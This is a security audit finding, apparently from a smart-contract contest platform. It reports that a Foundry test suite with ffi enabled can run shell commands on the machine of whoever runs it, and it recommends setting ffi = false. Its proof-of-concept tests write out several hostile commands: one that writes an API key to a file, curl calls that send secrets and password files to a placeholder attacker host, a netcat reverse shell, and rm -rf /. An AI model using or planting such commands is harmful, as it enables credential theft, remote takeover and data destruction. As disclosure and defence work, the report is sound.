Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Malicious test potentially allows data extraction from the user running it

Summary

The test suite includes a function named testPwned(), which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware.

Vulnerability Details

This is the malicious test which looks inoffensive as it just creates a file called youve-been-pwned-remember-to-turn-off-ffi! but there is no underlying reason for this test to be here except a malicious behavior.

function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned-remember-to-turn-off-ffi!");
cheatCodes.ffi(cmds);
}

A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:

First, export the api key in your shell -

export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY'

Then execute the test to store the API key in a file:

function testWriteCommande() public {
string[] memory cmds = new string[](3);
cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey";
cheatCodes.ffi(cmds);
}

Alternatively, transmit it to an external server:

cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)";

POC 1: Reverse Shell Using Netcat

This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine.

function testReverseShell() public {
string[] memory cmds = new string[](3);
cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>";
cheatCodes.ffi(cmds);
}

POC 2: Finding Files and Sending Results to a Server

This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server.

function testFindCommand() public {
string[] memory cmds = new string[](3);
cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload";
cheatCodes.ffi(cmds);
}

POC 3: Destructive Command (rm -rf /)

This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem.

WARNING: This command/PoC is extremely harmful and should never be executed.

Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system.

function testDestructiveCommand() public {
string[] memory cmds = new string[](2);
cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "rm -rf /";
cheatCodes.ffi(cmds);
}

Impact

This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information.

The test, as it stands, is harmful. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /).

Tools Used

Manual inspection, foundry.

Recommendations

Remember to set ffi = false inside foundry.toml as shown below, before running blanket commands like forge test and similar.

File: foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
'@solmate=lib/solmate-bad',
]
- ffi = true
+ ffi = false
[fmt]
number_underscore = "thousands"
[rpc_endpoints]
arbitrum = "${ARBITRUM_RPC_URL}"
sepolia = "${SEPOLIA_RPC_URL}"
[etherscan]
arbitrum = { key = "${ARBITRUMSCAN_API_KEY}" }
sepolia = { key = "${ETHERSCAN_API_KEY}" }
# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options

Now, when you run forge test, you will see a failing test with the error message:

[FAIL. Reason: FFI is disabled; add the `--ffi` flag to allow tests to call external commands]

In general, always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

testPwned: ffi enabled for test

t0x1c Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.